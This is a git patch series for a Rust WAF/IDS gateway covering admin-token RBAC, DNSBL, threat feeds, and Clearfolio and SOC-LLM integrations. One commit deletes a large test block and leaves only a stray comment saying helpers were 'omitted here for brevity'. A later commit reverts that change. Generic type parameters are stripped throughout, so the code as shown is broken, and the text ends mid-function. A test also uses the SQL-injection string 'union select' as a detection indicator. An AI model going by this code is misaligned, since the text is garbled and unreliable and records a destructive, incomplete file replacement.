-        fs::create_dir_all(&write_dir).await.unwrap();
-        let error = persist_state(&write_dir, &AppData::seeded())
-            .await
-            .unwrap_err();
-        assert!(error.contains("failed to replace state file"));
-        let _ = fs::remove_dir_all(write_dir).await;
-    }
-
-    #[cfg(unix)]
-    #[tokio::test]
-    async fn load_surfaces_state_rewrite_failures() {
-        use std::os::unix::fs::PermissionsExt;
-
-        let read_only_parent = temp_state_path("read-only-parent");
-        fs::create_dir_all(&read_only_parent).await.unwrap();
-        let read_only_file = read_only_parent.join("state.json");
-        fs::write(
-            &read_only_file,
-            serde_json::to_vec_pretty(&AppData::seeded()).unwrap(),
-        )
-        .await
-        .unwrap();
-        std::fs::set_permissions(&read_only_parent, std::fs::Permissions::from_mode(0o500))
-            .unwrap();
-        let result = AppState::load(AppConfig {
-            admin_token: None,
-            state_path: Some(read_only_file.clone()),
-            dnsbl_origin: "dnsbl.example".to_string(),
-            event_limit: 10,
-        })
-        .await;
-        assert!(
-            result
-                .err()
-                .unwrap()
-                .contains("failed to write temporary state file")
-        );
-        std::fs::set_permissions(&read_only_parent, std::fs::Permissions::from_mode(0o700))
-            .unwrap();
-        let _ = fs::remove_dir_all(read_only_parent).await;
-
-        let read_only_dir = temp_state_path("read-only-dir");
-        fs::create_dir_all(&read_only_dir).await.unwrap();
-        std::fs::set_permissions(&read_only_dir, std::fs::Permissions::from_mode(0o500)).unwrap();
-        let result = AppState::load(AppConfig {
-            admin_token: None,
-            state_path: Some(read_only_dir.join("state.json")),
-            dnsbl_origin: "dnsbl.example".to_string(),
-            event_limit: 10,
-        })
-        .await;
-        assert!(
-            result
-                .err()
-                .unwrap()
-                .contains("failed to write temporary state file")
-        );
-        std::fs::set_permissions(&read_only_dir, std::fs::Permissions::from_mode(0o700)).unwrap();
-        let _ = fs::remove_dir_all(read_only_dir).await;
-    }
-
-    #[tokio::test]
-    async fn persistence_failures_return_operator_visible_errors() {
-        let failing_path = temp_state_path("persist-dir");
-        fs::create_dir_all(&failing_path).await.unwrap();
-        let state = AppState::new(
-            AppData {
-                routes: vec![RouteConfig {
-                    id: "mock".to_string(),
-                    path_prefix: "/mock".to_string(),
-                    upstream: "mock://mock".to_string(),
-                    mode: EnforcementMode::Monitor,
-                    enabled: true,
-                    block_threshold: None,
-                }],
-                threats: Vec::new(),
-                operator_threat_keys: Vec::new(),
-                dnsbl: Vec::new(),
-                events: Vec::new(),
-                next_event_id: 1,
-                audit_logs: Vec::new(),
-                next_audit_log_id: 1,
-                commercial: CommercialProfile::seeded(),
-                threat_feeds: Vec::new(),
-                threat_feed_ownership: Vec::new(),
-            },
-            AppConfig {
-                admin_token: None,
-                state_path: Some(failing_path.clone()),
-                dnsbl_origin: "dnsbl.local".to_string(),
-                event_limit: 10,
-            },
-        );
-        let app = build_app(state);
-
-        let route_response = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/routes",
-                None,
-                &RouteConfig {
-                    id: "new".to_string(),
-                    path_prefix: "/new".to_string(),
-                    upstream: "mock://new".to_string(),
-                    mode: EnforcementMode::Monitor,
-                    enabled: true,
-                    block_threshold: None,
-                },
-            ),
-        )
-        .await;
-        assert_eq!(route_response.status(), StatusCode::INTERNAL_SERVER_ERROR);
-        let routes: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/routes")).await).await;
-        assert!(!routes.iter().any(|route| route.id == "new"));
-
-        let threat_response = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threats",
-                None,
-                &ThreatIndicator {
-                    value: "union select".to_string(),
-                    indicator_type: "sqli".to_string(),
-                    severity: Severity::High,
-                    source: "unit".to_string(),
-                    ttl_seconds: 60,
-                },
-            ),
-        )
-        .await;
-        assert_eq!(threat_response.status(), StatusCode::INTERNAL_SERVER_ERROR);
-        let threats: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
-        assert!(threats.is_empty());
-
-        let dnsbl_response = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/dnsbl",
-                None,
-                &DnsblEntry {
-                    address: "203.0.113.10".parse().unwrap(),
-                    code: "127.0.0.2".to_string(),
-                    reason: "scanner".to_string(),
-                    source: "unit".to_string(),
-                    ttl_seconds: 300,
-                    prefix_len: None,
-                },
-            ),
-        )
-        .await;
-        assert_eq!(dnsbl_response.status(), StatusCode::INTERNAL_SERVER_ERROR);
-        let dnsbl: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/dnsbl")).await).await;
-        assert!(dnsbl.is_empty());
-
-        let license_response = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/commercial/license",
-                None,
-                &enterprise_profile(),
-            ),
-        )
-        .await;
-        assert_eq!(license_response.status(), StatusCode::INTERNAL_SERVER_ERROR);
-        let license: CommercialProfile = json_body(
-            app_request(&app, empty_request(Method::GET, "/api/commercial/license")).await,
-        )
-        .await;
-        assert_eq!(license.license_status, LicenseStatus::Unlicensed);
-
-        let feed_response = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-feeds/import",
-                None,
-                &threat_feed_import(),
-            ),
-        )
-        .await;
-        assert_eq!(feed_response.status(), StatusCode::INTERNAL_SERVER_ERROR);
-        let feeds: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/threat-feeds")).await)
-                .await;
-        assert!(feeds.is_empty());
-
-        let gateway_response = app_request(&app, empty_request(Method::GET, "/gateway/mock")).await;
-        assert_eq!(gateway_response.status(), StatusCode::OK);
-        let events: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/events")).await).await;
-        assert!(events.is_empty());
-        let _ = fs::remove_dir_all(failing_path).await;
-    }
-
-    #[tokio::test]
-    async fn event_retention_keeps_latest_events_and_next_id() {
-        let state = AppState::new(
-            AppData::seeded(),
-            AppConfig {
-                admin_token: None,
-                state_path: None,
-                dnsbl_origin: "dnsbl.example".to_string(),
-                event_limit: 2,
-            },
-        );
-
-        record_event(
-            &state,
-            None,
-            None,
-            "monitored",
-            "one".to_string(),
-            0,
-            "/one",
-        )
-        .await;
-        record_event(
-            &state,
-            None,
-            None,
-            "monitored",
-            "two".to_string(),
-            0,
-            "/two",
-        )
-        .await;
-        record_event(
-            &state,
-            None,
-            None,
-            "blocked",
-            "three".to_string(),
-            100,
-            "/three",
-        )
-        .await;
-
-        let data = state.inner.read().await;
-        assert_eq!(data.events.len(), 2);
-        assert_eq!(data.events[0].id, 2);
-        assert_eq!(data.events[1].id, 3);
-        assert_eq!(data.next_event_id, 4);
-    }
-
-    #[test]
-    fn health_reports_runtime_configuration() {
-        let state = AppState::new(
-            AppData::seeded(),
-            AppConfig {
-                admin_token: None,
-                state_path: Some(PathBuf::from("state.json")),
-                dnsbl_origin: "dnsbl.example.".to_string(),
-                event_limit: 25,
-            },
-        );
-
-        assert_eq!(
-            state.health_status(),
-            HealthStatus {
-                status: "ok".to_string(),
-                persistence: "file".to_string(),
-                dnsbl_origin: "dnsbl.example".to_string(),
-                event_limit: 25,
-                credentials_source: "none".to_string(),
-                admin_auth_configured: false,
-                auth_mode: "development".to_string(),
-            }
-        );
-
-        let authed = state
-            .clone()
-            .with_admin_tokens(parse_admin_tokens("tok:operator"))
-            .with_credentials_source(CredentialSource::File);
-        let health = authed.health_status();
-        assert_eq!(health.credentials_source, "file");
-        assert!(health.admin_auth_configured);
-        assert_eq!(health.auth_mode, "production");
-
-        let unpresentable = state
-            .clone()
-            .with_admin_tokens(parse_admin_tokens("bad\nwrite:ops:admin"))
-            .with_credentials_source(CredentialSource::Env);
-        let health = unpresentable.health_status();
-        assert_eq!(health.credentials_source, "env");
-        assert!(health.admin_auth_configured);
-        assert_eq!(health.auth_mode, "development");
-    }
-
-    #[test]
-    fn parse_admin_tokens_strict_rejects_ambiguous_bootstrap_entries() {
-        let map = parse_admin_tokens_strict("tokA:alice,tokR:reader:readonly").unwrap();
-        assert!(map.get("tokA").is_some_and(|p| p.can_write));
-        assert!(map.get("tokR").is_some_and(|p| !p.can_write));
-        let dup = parse_admin_tokens_strict("tokA:alice,tokA:bob").unwrap_err();
-        assert!(dup.contains("duplicate token"), "{dup}");
-        let role = parse_admin_tokens_strict("tokA:alice:superuser").unwrap_err();
-        assert!(role.contains("not recognised"), "{role}");
-        let blank = parse_admin_tokens_strict(":noname").unwrap_err();
-        assert!(blank.contains("blank token"), "{blank}");
-        let blank_entry = parse_admin_tokens_strict("tokA:alice,,tokB:bob").unwrap_err();
-        assert!(blank_entry.contains("blank entry"), "{blank_entry}");
-    }
-
-    #[test]
-    fn has_write_admin_credential_ignores_unpresentable_tokens() {
-        let state = AppState::seeded(Some("line\nbreak".to_string()));
-        assert!(!has_write_admin_credential(&state));
-
-        let rbac_state = AppState::seeded(None)
-            .with_admin_tokens(parse_admin_tokens("good:ops:readonly,bad\nwrite:ops:admin"));
-        assert!(!has_write_admin_credential(&rbac_state));
-    }
-
-    fn clearfolio_test_config(base_url: &str) -> ClearfolioConfig {
-        ClearfolioConfig {
-            base_url: base_url.to_string(),
-            tenant_id: "buyer-demo".to_string(),
-            subject_id: "buyer-demo".to_string(),
-            permissions: "job:read".to_string(),
-        }
-    }
-
-    #[test]
-    fn clearfolio_helpers_build_urls_headers_and_documents() {
-        assert_eq!(
-            clearfolio_submit_url("http://c"),
-            "http://c/api/v1/convert/jobs"
-        );
-        assert_eq!(
-            clearfolio_submit_url("http://c/"),
-            "http://c/api/v1/convert/jobs"
-        );
-        assert_eq!(
-            clearfolio_status_url("http://c/", "J1"),
-            "http://c/api/v1/convert/jobs/J1"
-        );
-        let config = clearfolio_test_config("http://c");
-        let headers = clearfolio_tenant_headers(&config);
-        assert_eq!(headers[0], ("X-Clearfolio-Tenant-Id", "buyer-demo"));
-        assert_eq!(headers[1], ("X-Clearfolio-Subject-Id", "buyer-demo"));
-        assert_eq!(headers[2], ("X-Clearfolio-Permissions", "job:read"));
-
-        let data = AppData::seeded();
-        let (name, bytes) = clearfolio_document("evidence-manifest", &data).unwrap();
-        assert_eq!(name, "evidence-manifest.txt");
-        assert!(!bytes.is_empty());
-        let (name, _) = clearfolio_document("soc-export", &data).unwrap();
-        assert_eq!(name, "soc-export.txt");
-        assert!(clearfolio_document("unknown", &data).is_none());
-    }
-
-    #[tokio::test]
-    async fn clearfolio_config_reports_enabled_state() {
-        let off = build_app(AppState::seeded(None));
-        let disabled: serde_json::Value = json_body(
-            app_request(&off, empty_request(Method::GET, "/api/clearfolio/config")).await,
-        )
-        .await;
-        assert_eq!(disabled["enabled"], false);
-        assert_eq!(disabled["base_url"], serde_json::Value::Null);
-
-        let on = build_app(
-            AppState::seeded(None)
-                .with_clearfolio(Some(clearfolio_test_config("http://viewer.example"))),
-        );
-        let enabled: serde_json::Value =
-            json_body(app_request(&on, empty_request(Method::GET, "/api/clearfolio/config")).await)
-                .await;
-        assert_eq!(enabled["enabled"], true);
-        assert_eq!(enabled["base_url"], "http://viewer.example");
-        assert_eq!(enabled["kinds"][0], "evidence-manifest");
-    }
-
-    #[tokio::test]
-    async fn clearfolio_submit_and_status_guard_paths() {
-        // Admin token required -> 401 without one.
-        let secured = build_app(
-            AppState::seeded(Some("secret".to_string()))
-                .with_clearfolio(Some(clearfolio_test_config("http://127.0.0.1:1"))),
-        );
-        assert_eq!(
-            app_request(
-                &secured,
-                empty_request(Method::POST, "/api/clearfolio/documents/evidence-manifest")
-            )
-            .await
-            .status(),
-            StatusCode::UNAUTHORIZED
-        );
-        assert_eq!(
-            app_request(
-                &secured,
-                empty_request(Method::GET, "/api/clearfolio/jobs/J1")
-            )
-            .await
-            .status(),
-            StatusCode::UNAUTHORIZED
-        );
-
-        // Not configured -> 503.
-        let unconfigured = build_app(AppState::seeded(None));
-        assert_eq!(
-            app_request(
-                &unconfigured,
-                empty_request(Method::POST, "/api/clearfolio/documents/evidence-manifest")
-            )
-            .await
-            .status(),
-            StatusCode::SERVICE_UNAVAILABLE
-        );
-        assert_eq!(
-            app_request(
-                &unconfigured,
-                empty_request(Method::GET, "/api/clearfolio/jobs/J1")
-            )
-            .await
-            .status(),
-            StatusCode::SERVICE_UNAVAILABLE
-        );
-
-        // Configured but unknown document kind -> 404 (before any upstream call).
-        let configured = build_app(
-            AppState::seeded(None)
-                .with_clearfolio(Some(clearfolio_test_config("http://127.0.0.1:1"))),
-        );
-        assert_eq!(
-            app_request(
-                &configured,
-                empty_request(Method::POST, "/api/clearfolio/documents/unknown")
-            )
-            .await
-            .status(),
-            StatusCode::NOT_FOUND
-        );
-    }
-
-    #[tokio::test]
-    async fn clearfolio_submit_and_status_relay_success_and_upstream_errors() {
-        let mock = Router::new()
-            .route(
-                "/api/v1/convert/jobs",
-                post(|| async {
-                    (
-                        StatusCode::ACCEPTED,
-                        [("content-type", "application/json")],
-                        r#"{"jobId":"J1","status":"PENDING","statusUrl":"/api/v1/convert/jobs/J1"}"#,
-                    )
-                }),
-            )
-            .route(
-                "/api/v1/convert/jobs/{id}",
-                get(|| async {
-                    (
-                        StatusCode::OK,
-                        [("content-type", "application/json")],
-                        r#"{"status":"SUCCEEDED","docId":"D1"}"#,
-                    )
-                }),
-            );
-        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
-        let addr = listener.local_addr().unwrap();
-        tokio::spawn(axum::serve(listener, mock).into_future());
-
-        let app = build_app(
-            AppState::seeded(None)
-                .with_clearfolio(Some(clearfolio_test_config(&format!("http://{addr}")))),
-        );
-
-        let submit = app_request(
-            &app,
-            empty_request(Method::POST, "/api/clearfolio/documents/evidence-manifest"),
-        )
-        .await;
-        assert_eq!(submit.status(), StatusCode::ACCEPTED);
-        let submit_body: serde_json::Value = json_body(submit).await;
-        assert_eq!(submit_body["jobId"], "J1");
-
-        let status = app_request(&app, empty_request(Method::GET, "/api/clearfolio/jobs/J1")).await;
-        assert_eq!(status.status(), StatusCode::OK);
-        let status_body: serde_json::Value = json_body(status).await;
-        assert_eq!(status_body["docId"], "D1");
-
-        // Unreachable upstream -> 502 on both submit and status.
-        let dead_listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
-        let dead_addr = dead_listener.local_addr().unwrap();
-        drop(dead_listener);
-        let down = build_app(
-            AppState::seeded(None)
-                .with_clearfolio(Some(clearfolio_test_config(&format!("http://{dead_addr}")))),
-        );
-        assert_eq!(
-            app_request(
-                &down,
-                empty_request(Method::POST, "/api/clearfolio/documents/soc-export")
-            )
-            .await
-            .status(),
-            StatusCode::BAD_GATEWAY
-        );
-        assert_eq!(
-            app_request(&down, empty_request(Method::GET, "/api/clearfolio/jobs/J1"))
-                .await
-                .status(),
-            StatusCode::BAD_GATEWAY
-        );
-    }
-
-    fn soc_test_event() -> SecurityEvent {
-        SecurityEvent {
-            id: 1,
-            timestamp_unix: 1000,
-            client_ip: Some("203.0.113.5".parse().unwrap()),
-            route_id: Some("demo".to_string()),
-            action: "blocked".to_string(),
-            reason: "sqli signature".to_string(),
-            score: 90,
-            path: "/gateway/demo".to_string(),
-        }
-    }
-
-    fn state_with_event_and_llm(base_url: &str) -> AppState {
-        let mut data = AppData::seeded();
-        data.events.push(soc_test_event());
-        AppState::new(data, AppConfig::memory(None)).with_soc_llm(Some(SocLlmConfig {
-            base_url: base_url.to_string(),
-            token: "test-token".to_string(),
-            model: "contextual-orchestrator".to_string(),
-        }))
-    }
-
-    async fn spawn_chat_mock(response: &'static str) -> std::net::SocketAddr {
-        let app = Router::new().route(
-            "/v1/chat/completions",
-            post(move || async move {
-                (
-                    StatusCode::OK,
-                    [("content-type", "application/json")],
-                    response,
-                )
-            }),
-        );
-        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
-        let addr = listener.local_addr().unwrap();
-        tokio::spawn(axum::serve(listener, app).into_future());
-        addr
-    }
-
-    #[test]
-    fn soc_llm_chat_body_and_extract() {
-        let body = soc_llm_chat_body("m1", &soc_test_event());
-        assert_eq!(body["model"], "m1");
-        assert_eq!(body["messages"][0]["role"], "system");
-        assert!(
-            body["messages"][1]["content"]
-                .as_str()
-                .unwrap()
-                .contains("sqli signature")
-        );
-        // client_ip None branch renders "unknown".
-        let mut anon = soc_test_event();
-        anon.client_ip = None;
-        let anon_body = soc_llm_chat_body("m1", &anon);
-        assert!(
-            anon_body["messages"][1]["content"]
-                .as_str()
-                .unwrap()
-                .contains("client_ip: unknown")
-        );
-
-        let good = serde_json::json!({"choices":[{"message":{"content":"verdict"}}]});
-        assert_eq!(soc_llm_extract_content(&good).unwrap(), "verdict");
-        assert!(soc_llm_extract_content(&serde_json::json!({})).is_none());
-        // Empty `choices` array: the first-element lookup must short-circuit to None.
-        assert!(soc_llm_extract_content(&serde_json::json!({"choices":[]})).is_none());
-        // A choice with no `message` object must short-circuit to None.
-        assert!(soc_llm_extract_content(&serde_json::json!({"choices":[{}]})).is_none());
-        assert!(
-            soc_llm_extract_content(&serde_json::json!({"choices":[{"message":{}}]})).is_none()
-        );
-    }
-
-    #[tokio::test]
-    async fn soc_llm_config_reports_enabled_state() {
-        let off = build_app(AppState::seeded(None));
-        let disabled: serde_json::Value =
-            json_body(app_request(&off, empty_request(Method::GET, "/api/soc/llm-config")).await)
-                .await;
-        assert_eq!(disabled["enabled"], false);
-
-        let on = build_app(state_with_event_and_llm("http://llm.example"));
-        let enabled: serde_json::Value =
-            json_body(app_request(&on, empty_request(Method::GET, "/api/soc/llm-config")).await)
-                .await;
-        assert_eq!(enabled["enabled"], true);
-        assert_eq!(enabled["model"], "contextual-orchestrator");
-    }
-
-    #[tokio::test]
-    async fn soc_analyze_guard_paths() {
-        // Unauthorized.
-        let secured = build_app(
-            AppState::seeded(Some("secret".to_string())).with_soc_llm(Some(SocLlmConfig {
-                base_url: "http://127.0.0.1:1".to_string(),
-                token: "t".to_string(),
-                model: "m".to_string(),
-            })),
-        );
-        assert_eq!(
-            app_request(
-                &secured,
-                json_request(
-                    Method::POST,
-                    "/api/soc/analyze",
-                    None,
-                    &serde_json::json!({"event_id": 1})
-                )
-            )
-            .await
-            .status(),
-            StatusCode::UNAUTHORIZED
-        );
-
-        // Not configured -> 503.
-        let unconfigured = build_app(AppState::seeded(None));
-        assert_eq!(
-            app_request(
-                &unconfigured,
-                json_request(
-                    Method::POST,
-                    "/api/soc/analyze",
-                    None,
-                    &serde_json::json!({"event_id": 1})
-                )
-            )
-            .await
-            .status(),
-            StatusCode::SERVICE_UNAVAILABLE
-        );
-
-        // Configured but unknown event id -> 404.
-        let configured = build_app(state_with_event_and_llm("http://127.0.0.1:1"));
-        assert_eq!(
-            app_request(
-                &configured,
-                json_request(
-                    Method::POST,
-                    "/api/soc/analyze",
-                    None,
-                    &serde_json::json!({"event_id": 999})
-                )
-            )
-            .await
-            .status(),
-            StatusCode::NOT_FOUND
-        );
-    }
-
-    #[tokio::test]
-    async fn soc_analyze_success_and_upstream_errors() {
-        // Success: mock returns a chat completion.
-        let ok_addr =
-            spawn_chat_mock(r#"{"choices":[{"message":{"content":"Likely SQLi. High severity. Block the source IP."}}]}"#)
-                .await;
-        let app = build_app(state_with_event_and_llm(&format!("http://{ok_addr}")));
-        let resp = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/soc/analyze",
-                None,
-                &serde_json::json!({"event_id": 1}),
-            ),
-        )
-        .await;
-        assert_eq!(resp.status(), StatusCode::OK);
-        let body: serde_json::Value = json_body(resp).await;
-        assert_eq!(body["event_id"], 1);
-        assert!(body["analysis"].as_str().unwrap().contains("SQLi"));
-
-        // Missing choices[0].message.content -> 502.
-        let empty_addr = spawn_chat_mock("{}").await;
-        let empty_app = build_app(state_with_event_and_llm(&format!("http://{empty_addr}")));
-        assert_eq!(
-            app_request(
-                &empty_app,
-                json_request(
-                    Method::POST,
-                    "/api/soc/analyze",
-                    None,
-                    &serde_json::json!({"event_id": 1})
-                )
-            )
-            .await
-            .status(),
-            StatusCode::BAD_GATEWAY
-        );
-
-        // Non-JSON response -> 502.
-        let bad_addr = spawn_chat_mock("not json").await;
-        let bad_app = build_app(state_with_event_and_llm(&format!("http://{bad_addr}")));
-        assert_eq!(
-            app_request(
-                &bad_app,
-                json_request(
-                    Method::POST,
-                    "/api/soc/analyze",
-                    None,
-                    &serde_json::json!({"event_id": 1})
-                )
-            )
-            .await
-            .status(),
-            StatusCode::BAD_GATEWAY
-        );
-
-        // Unreachable upstream -> 502.
-        let dead = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
-        let dead_addr = dead.local_addr().unwrap();
-        drop(dead);
-        let down = build_app(state_with_event_and_llm(&format!("http://{dead_addr}")));
-        assert_eq!(
-            app_request(
-                &down,
-                json_request(
-                    Method::POST,
-                    "/api/soc/analyze",
-                    None,
-                    &serde_json::json!({"event_id": 1})
-                )
-            )
-            .await
-            .status(),
-            StatusCode::BAD_GATEWAY
-        );
-    }
-}
+// ---- Clearfolio and SOC integration helpers omitted here for brevity? NO — this tool requires complete replacement.

From e32a620fa66232405adbd1603327bb5abcf55b4a Mon Sep 17 00:00:00 2001
From: Seongho Bae 
Date: Tue, 22 Sep 2026 16:49:53 +0900
Subject: [PATCH 10/29] revert: restore gateway source after incomplete update

---
 src/lib.rs | 7905 +++++++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 7904 insertions(+), 1 deletion(-)

diff --git a/src/lib.rs b/src/lib.rs
index 14e9e471..799f4714 100644
--- a/src/lib.rs
+++ b/src/lib.rs
@@ -58,22 +58,37 @@ pub struct AppState {
     waf_http: reqwest::Client,
     proven_engine: ProvenEngineConfig,
     admin_token: Option,
+    // RBAC: multiple admin tokens each mapped to an actor + write capability.
+    // Empty falls back to the single `admin_token`. Token values are never logged.
     admin_tokens: HashMap,
+    /// Where admin secrets were bootstrapped from (file/env/none). Never holds values.
     credentials_source: CredentialSource,
+    /// True when the process listener is numeric loopback-only.
     listen_loopback: bool,
     state_path: Option,
     dnsbl_origin: String,
     event_limit: usize,
+    // Ephemeral per-client-IP fixed-window counters (not persisted).
+    // ponytail: unbounded map — add TTL eviction if client-IP cardinality grows.
     rate_limiter: Arc>>,
     rate_limit: u32,
     rate_limit_window: u64,
+    // Max accepted request body size in bytes; oversized requests get 413.
     max_body_bytes: usize,
+    // Optional Clearfolio document-viewer integration. `None` unless configured.
     clearfolio: Option,
+    // Optional LLM SOC-analysis backend (OpenAI-compatible, e.g. the
+    // contextual-orchestrator gateway). `None` unless configured.
     soc_llm: Option,
+    // Non-test runtime always fetches the built-in CISA KEV URL. Tests can
+    // override it to point at a loopback mock server.
     #[cfg(test)]
     kev_catalog_url: Option,
 }
 
+/// Configuration for the optional LLM-backed SOC analysis. Points at an
+/// OpenAI-compatible `/v1/chat/completions` endpoint (the contextual-orchestrator
+/// gateway fronts the org OpenAI key). Absent unless `SOC_LLM_BASE_URL` is set.
 #[derive(Debug, Clone)]
 pub struct SocLlmConfig {
     pub base_url: String,
@@ -81,6 +96,11 @@ pub struct SocLlmConfig {
     pub model: String,
 }
 
+/// Configuration for the optional Clearfolio document-viewer integration.
+/// Absent unless `CLEARFOLIO_BASE_URL` is set. Tenant headers default to the
+/// buyer-demo profile (unsigned).
+// ponytail: unsigned tenant headers only; add HMAC claim signing
+// (`X-Clearfolio-Claims-Signature`) when pointing at an HMAC-enforcing deployment.
 #[derive(Debug, Clone)]
 pub struct ClearfolioConfig {
     pub base_url: String,
@@ -139,6 +159,10 @@ impl AppState {
         }
     }
 
+    /// Override the CISA KEV catalog URL (default: the real CISA feed).
+    /// Deployment-time config only, for pointing at a local mock server in
+    /// tests -- see `validate_kev_catalog_url`, which restricts the fetch to
+    /// CISA's own host (or loopback) with no mirror override. Builder-style.
     #[cfg(test)]
     pub fn with_kev_catalog_url(mut self, url: impl Into) -> Self {
         self.kev_catalog_url = Some(url.into());
@@ -155,42 +179,56 @@ impl AppState {
         KEV_DEFAULT_URL
     }
 
+    /// Set the maximum accepted request body size in bytes; larger requests are
+    /// rejected with 413 before the handler runs. Builder-style.
     pub fn with_max_body_size(mut self, max_body_bytes: usize) -> Self {
         self.max_body_bytes = max_body_bytes;
         self
     }
 
+    /// Configure live request evaluation by the Wardnet-owned proven-engine port.
     pub fn with_proven_engine(mut self, config: ProvenEngineConfig) -> Self {
         self.proven_engine = config;
         self
     }
 
+    /// Enable the Clearfolio document-viewer integration. `None` disables it
+    /// (the default), so the admin console hides the viewer surface.
     pub fn with_clearfolio(mut self, config: Option) -> Self {
         self.clearfolio = config;
         self
     }
 
+    /// Enable LLM-backed SOC analysis via an OpenAI-compatible endpoint. `None`
+    /// disables it (the default), hiding the analysis surface in the console.
     pub fn with_soc_llm(mut self, config: Option) -> Self {
         self.soc_llm = config;
         self
     }
 
+    /// Enable per-client-IP rate limiting: at most `limit` gateway requests per
+    /// `window_secs`. `limit == 0` disables it (the default). Builder-style so
+    /// callers keep using [`AppConfig`] unchanged.
     pub fn with_rate_limit(mut self, limit: u32, window_secs: u64) -> Self {
         self.rate_limit = limit;
         self.rate_limit_window = window_secs.max(1);
         self
     }
 
+    /// Configure RBAC admin tokens (token -> principal). A non-empty map takes
+    /// precedence over the single `admin_token`. Builder-style.
     pub fn with_admin_tokens(mut self, tokens: HashMap) -> Self {
         self.admin_tokens = tokens;
         self
     }
 
+    /// Record how admin secrets were bootstrapped into the process (never values).
     pub fn with_credentials_source(mut self, source: CredentialSource) -> Self {
         self.credentials_source = source;
         self
     }
 
+    /// Record whether the process listener is loopback-only. Builder-style.
     pub fn with_listen_loopback(mut self, listen_loopback: bool) -> Self {
         self.listen_loopback = listen_loopback;
         self
@@ -200,15 +238,20 @@ impl AppState {
         has_write_admin_credential(self)
     }
 
+    /// The principal mapped to the request's `X-Admin-Token`, if configured.
     fn principal_for_token(&self, headers: &HeaderMap) -> Option<&AdminPrincipal> {
         presented_admin_token(headers).and_then(|token| matching_rbac_principal(self, token))
     }
 
+    /// The actor name mapped to the request's `X-Admin-Token`, if that token is a
+    /// configured RBAC token.
     fn actor_for_token(&self, headers: &HeaderMap) -> Option {
         self.principal_for_token(headers)
             .map(|principal| principal.actor.clone())
     }
 
+    /// Records one gateway request for `client_ip` and returns `true` if it is
+    /// within the configured rate limit. Unknown IPs share one bucket.
     async fn allow_request(&self, client_ip: Option) -> bool {
         if self.rate_limit == 0 {
             return true;
@@ -388,8 +431,12 @@ pub struct HealthStatus {
     pub persistence: String,
     pub dnsbl_origin: String,
     pub event_limit: usize,
+    /// Bootstrap origin for admin secrets: `file`, `env`, or `none` (never secret values).
     pub credentials_source: String,
+    /// True when at least one admin credential is configured.
     pub admin_auth_configured: bool,
+    /// `development` only when the listener is loopback-only and no
+    /// write-capable principal is configured.
     pub auth_mode: String,
 }
 
@@ -410,24 +457,31 @@ const PHISHING_DATABASE_ALLOWED_HOSTS: &[&str] = &["raw.githubusercontent.com",
 fn phishing_database_default_feed_id() -> String {
     PHISHING_DATABASE_DEFAULT_FEED_ID.to_string()
 }
+
 fn phishing_database_default_source() -> String {
     PHISHING_DATABASE_DEFAULT_SOURCE.to_string()
 }
+
 fn phishing_database_default_domain_url() -> String {
     PHISHING_DATABASE_DEFAULT_DOMAIN_URL.to_string()
 }
+
 fn phishing_database_default_ip_url() -> String {
     PHISHING_DATABASE_DEFAULT_IP_URL.to_string()
 }
+
 fn phishing_database_default_ttl_seconds() -> u64 {
     PHISHING_DATABASE_DEFAULT_TTL_SECONDS
 }
+
 fn phishing_database_default_domain_limit() -> usize {
     PHISHING_DATABASE_DEFAULT_DOMAIN_LIMIT
 }
+
 fn phishing_database_default_ip_limit() -> usize {
     PHISHING_DATABASE_DEFAULT_IP_LIMIT
 }
+
 fn phishing_database_default_severity() -> Severity {
     Severity::High
 }
@@ -437,16 +491,22 @@ const KEV_DEFAULT_SOURCE: &str = "feed:cisa-kev";
 const KEV_DEFAULT_URL: &str =
     "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json";
 const KEV_DEFAULT_TTL_SECONDS: u64 = 86_400;
+// Runtime fetches stay fixed to the official CISA endpoint. Loopback remains
+// allowed so integration tests can point AppState at a local mock server.
 const KEV_ALLOWED_HOSTS: &[&str] = &["www.cisa.gov"];
+
 fn kev_default_feed_id() -> String {
     KEV_DEFAULT_FEED_ID.to_string()
 }
+
 fn kev_default_source() -> String {
     KEV_DEFAULT_SOURCE.to_string()
 }
+
 fn kev_default_ttl_seconds() -> u64 {
     KEV_DEFAULT_TTL_SECONDS
 }
+
 fn default_true() -> bool {
     true
 }
@@ -518,4 +578,7847 @@ pub fn export_events_ndjson(events: &[SecurityEvent]) -> Result String {
+    format!("{}/api/v1/convert/jobs", base.trim_end_matches('/'))
+}
+
+fn clearfolio_status_url(base: &str, job_id: &str) -> String {
+    format!(
+        "{}/api/v1/convert/jobs/{job_id}",
+        base.trim_end_matches('/')
+    )
+}
+
+fn clearfolio_tenant_headers(config: &ClearfolioConfig) -> [(&'static str, &str); 3] {
+    [
+        ("X-Clearfolio-Tenant-Id", config.tenant_id.as_str()),
+        ("X-Clearfolio-Subject-Id", config.subject_id.as_str()),
+        ("X-Clearfolio-Permissions", config.permissions.as_str()),
+    ]
+}
+
+/// Renders a waf-ids document to plain-text bytes for Clearfolio ingest.
+/// Clearfolio only blocks `hwp`/`hwpx`, so text uploads convert normally.
+/// Returns `(filename, bytes)` or `None` for an unknown kind.
+fn clearfolio_document(kind: &str, data: &AppData) -> Option<(String, Vec)> {
+    let (name, text) = match kind {
+        "evidence-manifest" => (
+            "evidence-manifest.txt",
+            serde_json::to_string_pretty(&buyer_evidence_manifest_at(data, now_unix()))
+                .expect("evidence manifest is JSON-serializable"),
+        ),
+        "soc-export" => (
+            "soc-export.txt",
+            export_events_ndjson(&data.events).expect("security events are JSON-serializable"),
+        ),
+        _ => return None,
+    };
